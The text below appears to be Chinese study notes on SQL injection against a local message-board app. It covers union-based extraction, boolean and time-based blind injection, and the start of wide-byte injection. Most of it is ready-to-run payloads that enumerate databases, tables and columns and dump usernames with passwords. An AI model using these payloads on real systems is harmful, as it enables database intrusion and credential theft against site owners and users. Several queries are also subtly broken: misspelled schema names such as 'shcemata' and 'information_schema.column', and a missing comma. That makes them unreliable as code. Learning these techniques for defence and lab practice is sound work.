一、联合查询
流程
http://127.0.0.1/liuyanban/denglu.php?id=1
在id=1 先加 ’
然后 and 1=1
然后 and 1=2
如果不一样 整形
如果一样
‘ and 1=1 ” and 1=1
'and 1=2 " and 1=2
如果不一样 字符型
order by
查询列数
‘ order by 1
union
作用将两个或多个select语句查询结果合并在一起 列数必须一样
前提 页面上有显示位
http://127.0.0.1/liuyanban/percenter.php？uid= -23 ’union select 1,
group_concat(schema_name) from
information_schema.shcemata,3,4,5,6,7 --+
select group_concat(table_name) from information_schema.tables where table_schema ="lyb"
select group_concat(column_name) from information_schema.column where table_schema = "lyb" and table_name = "user" ;
select group_concat(concat(username,'~',password)) from lyb.user
count 查询有多少行 limit 0,1
二、布尔盲注
前提
页面中没有显示位，没有输出SQL语句执行错误信息，只能通过页面返回正常不正常
速度慢，耗时长
过程
1 判断是整型还是字符型
2 获取数据库个数
3 判断第一个数据库名有多少个字符
4 判断第一个库第一个字符
substr()函数
作用
截取字符串
substr(string， num start,num length)
字符串 起始位 长度
ascii（） 函数
作用
返回字符成str的字符ascii码值。如果str是空字符串，返回0，如果string是null 返回null
substring
判断数据库个数
and (select count(schema_name) from information_schema.schemata) >8
判断第一个数据库名有多少个字符
and (select length(schema_name) from information_schema.schema limit 0,1) >18
判断第一个库的第一个字符
and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)
,1,1)))>105
判断第一个库的第二个字符
and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)
2,1))) >110
三、时间盲注
前提
页面上没有显示位，也没有输出sql语句执行错误信息。
时间盲注过程
判断是整型还是字符型
获取数据库个数
判断第一个数据库名有多少个字符
判断第一个数据库的第一个字符
if（condition,a,b）
当condition为ture时，返回a
当condition为false时，返回b
select if(ascii(substr("hello",1,1))=104,sleep(5),1)
判断数据库个数
if((select count(schema_name) from information_schema.schemata)=5,sleep(5),1)
判断第一个数据库字符长度
if((select length(schema_name) from information_schema.schemata limit 0,1)=18,sleep(5),1)
判断第一个数据库字符的第一个字母
if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)
判断第一个数据库字符的第二个字母
if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1)))=105,sleep(5),1)
四、宽字节注入
addslashes() 函数
作用
返回在预定义字符之前添加反斜杠的字符串
预定义字符
'
"
NULL